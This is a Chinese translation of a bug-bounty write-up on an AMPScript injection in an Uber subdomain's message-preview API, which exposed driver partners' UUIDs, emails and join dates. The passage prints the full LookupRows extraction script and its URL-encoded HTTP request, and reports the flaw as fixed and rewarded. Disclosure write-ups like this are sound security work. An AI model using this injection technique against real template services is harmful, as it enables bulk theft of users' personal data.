通過AMPScript 來收集Uber的用戶數據

翻譯自:http://blog.assetnote.io/bug-bounty/2019/01/14/gaining-access-to-ubers-user-data-through-ampscript-evaluation/?tdsourcetag=s_pcqq_aiomsg
翻譯:聶心明

現代社會和基礎建設管理實踐都在快節奏,不斷的發展着。在快速的發展和擴張中,在快速的發展和拓張之中,新的財富大陸被發現,之後就會在全球市場中快速傳播開來。而已存在的經濟領域則依然保持着快速的發展。

想要跟上攻擊面的發展,這件事簡直太困難了。單單從應用和系統的角度來看安全。傳統的時間點和靜態的安全方法根本無法跟得上這樣的變化。在動態的環境中主動的發現威脅也似乎是一件不可能的任務。

僅僅有一種方式去處理這樣的問題,這就是將安全評估的方法轉換爲可持續性的資產意識。當我們通過Assetnote’s Continuous安全平臺 的發現大量的攻擊面時,我們常常發現基礎設施的改變會導致大量新的和未被發現的漏洞。

在這個例子中,我們通過Assetnote’s Continuous安全平臺發現了Uber的一個子域名,這個子域名被隱藏的很深:exacttarget-web-hook.uber.com.

很長的一段時間,這個子域名都會返回令人感到厭煩的“Not Found”這個錯誤,這個頁面是由Express.js生成的。

可是,突然有一天,這個子域名成爲了Uber用來測試個性化消息系統的服務器。

第一眼看上去,這個應用就像一個爲了測試用戶個性化消息的api控制檯一樣。我們嘗試用這個控制檯提供的“Test Contact Key”,但是發現這個api不能正常工作。經過一些嘗試之後,我發現,contactKey這個參數需要一個已經過身份驗證的UUID,而不是頁面上提供的UUID。我登錄uber後,從 https://riders.uber.com/profile 網頁源代碼中拿到了賬戶的UUID。

把我們Uber賬戶中的UUID放入contactKey這個參數中,然後我們給那個preview這個api發送請求。

GET /preview?contactKey=[redacted]&dataExtension=driver_partners&create_new=true&message=&business_unit= HTTP/1.1
Host: exacttarget-web-hook.uber.com
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Accept: */*
DNT: 1
Referer: https://exacttarget-web-hook.uber.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8

在這篇博客前面的截圖我就展示了給preview端發送消息的例子

%%[
SET @firstName = LOOKUP('driver_partners', 'firstname', 'partner_uuid', partner_uuid)
]%%
Hi there I'm %%=v(@firstName)=%% and I created this tool.

從語法上和子域名的名稱exacttarget-web-hook來看,我意識到上面的代碼其實是AMPScript

Salesforce的雲市場上提供AMPScript這種腳本語言,這種語言可以被嵌入到HTML郵件中,文本郵件中,加載頁中和sms消息中,目的是給不同的用戶展示不同的內容。AMPScript使用ExactTarget開發的,在2013年被Salesforce收購。

在api控制檯上使用AMPScript的示例腳本總是失敗,所以我們就開始調查是否真的能夠執行AMPScript腳本。我們很快的發現可以利用HTTPGet這個函數來發送一段請求,並且可以返回數據報文的內容。

太好了,我們能夠直接執行AMPScript。可是,從上面的截圖可以看出,執行HTTPGet這個函數的服務器不是Uber的服務器,而是AS22606 ExactTarget, Inc這個服務器。

爲了演示這個漏洞的影響。我們從data extension 中的driver_partners中提取用戶的用戶數據。data extension 是一種數據庫的表,可以通過AMPScript’s Data Extension functions來訪問到其中的數據。

通過查詢AMPScript關於 LookupRows這個函數的描述,我們能夠構造一段AMPScript腳本去做下列的事情:

  1. 在data extension中搜索firstname爲Shubs的所有數據
  2. 在數組中存儲這些數據
  3. 遍歷數據把數據打印出來

下面是最終利用的腳本:

%%[
SET @prefArray = LookupRows('driver_partners', 'firstname', 'Shubs')
SET @rCount = RowCount(@prefArray)
FOR @i = 1 TO @rCount DO
	SET @Row = Row(@prefArray, @i)
	SET @ID = Field(@Row, 1)
	SET @UUID = Field(@Row, 2)
	SET @joinDate = Field(@Row, 3)
	SET @email = Field(@Row, 4)
	SET @firstName = Field(@Row, 5)
]%%
	%%=V(@UUID)=%%
	%%=V(@joinDate)=%%
	%%=V(@email)=%%
	%%=V(@firstName)=%%
%%[
NEXT @i
]%%

當我把上面這個腳本發送給preview這個api後,服務器返回了所有名字爲Shubs的UUID,註冊時間,郵箱地址和名字

下面是發給preview這個api的請求數據:

GET /preview?contactKey=[redacted]&dataExtension=driver_partners&create_new=true&message=%25%25%5b%0d%0a%53%45%54%20%40%70%72%65%66%41%72%72%61%79%20%3d%20%4c%6f%6f%6b%75%70%52%6f%77%73%28%27%64%72%69%76%65%72%5f%70%61%72%74%6e%65%72%73%27%2c%20%27%66%69%72%73%74%6e%61%6d%65%27%2c%20%27%53%68%75%62%73%27%29%0d%0a%53%45%54%20%40%72%43%6f%75%6e%74%20%3d%20%52%6f%77%43%6f%75%6e%74%28%40%70%72%65%66%41%72%72%61%79%29%0d%0a%46%4f%52%20%40%69%20%3d%20%31%20%54%4f%20%40%72%43%6f%75%6e%74%20%44%4f%0d%0a%09%53%45%54%20%40%52%6f%77%20%3d%20%52%6f%77%28%40%70%72%65%66%41%72%72%61%79%2c%20%40%69%29%0d%0a%09%53%45%54%20%40%49%44%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%31%29%0d%0a%09%53%45%54%20%40%55%55%49%44%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%32%29%0d%0a%09%53%45%54%20%40%6a%6f%69%6e%44%61%74%65%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%33%29%0d%0a%09%53%45%54%20%40%65%6d%61%69%6c%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%34%29%0d%0a%09%53%45%54%20%40%66%69%72%73%74%4e%61%6d%65%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%35%29%0d%0a%09%53%45%54%20%40%75%6e%6b%6e%6f%77%6e%31%30%20%3d%20%46%69%65%6c%64%28%40%52%6f%77%2c%20%31%30%29%0d%0a%5d%25%25%0d%0a%09%25%25%3d%56%28%40%55%55%49%44%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%6a%6f%69%6e%44%61%74%65%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%65%6d%61%69%6c%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%66%69%72%73%74%4e%61%6d%65%29%3d%25%25%0d%0a%09%25%25%3d%56%28%40%75%6e%6b%6e%6f%77%6e%31%30%29%3d%25%25%0d%0a%25%25%5b%0d%0a%4e%45%58%54%20%40%69%0d%0a%5d%25%25&business_unit= HTTP/1.1
Host: exacttarget-web-hook.uber.com
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Accept: */*
DNT: 1
Referer: https://exacttarget-web-hook.uber.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8

返回報文(UUID和郵箱地址已經被打碼)

通過上面的截圖,我們可以看到許多名字爲Shubs的用戶信息已經被返回(上面的截圖已經被打碼了,只像大家展示測試數據)。攻擊者可以在消息中構造特殊AMPScript腳本去獲取數據或者在 Uber中通過搜索名字的方式去查詢指定人的UUID和郵箱地址。

我在2017年12月13日發現了這個漏洞,廠商在12月15日就修復了這個問題,並且在12月28日給我支付了賞金。

作爲由HackerOne舉辦的Hack the World活動的一部分,我在活動期間獲得了“最有影響力的漏洞”,並且獲得了$20,000的獎賞。最終這個漏洞給我的獎金爲:$23,000。
感謝Uber 和HackerOne。在這個漏洞上和Uber進行合作是一次非常愉快的經歷。

如果你的公司或者組織對於Assetnote’s Continuous安全平臺非常感興趣的話,歡迎通過下面鏈接來聯繫我們
https://assetnote.io/#signup

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章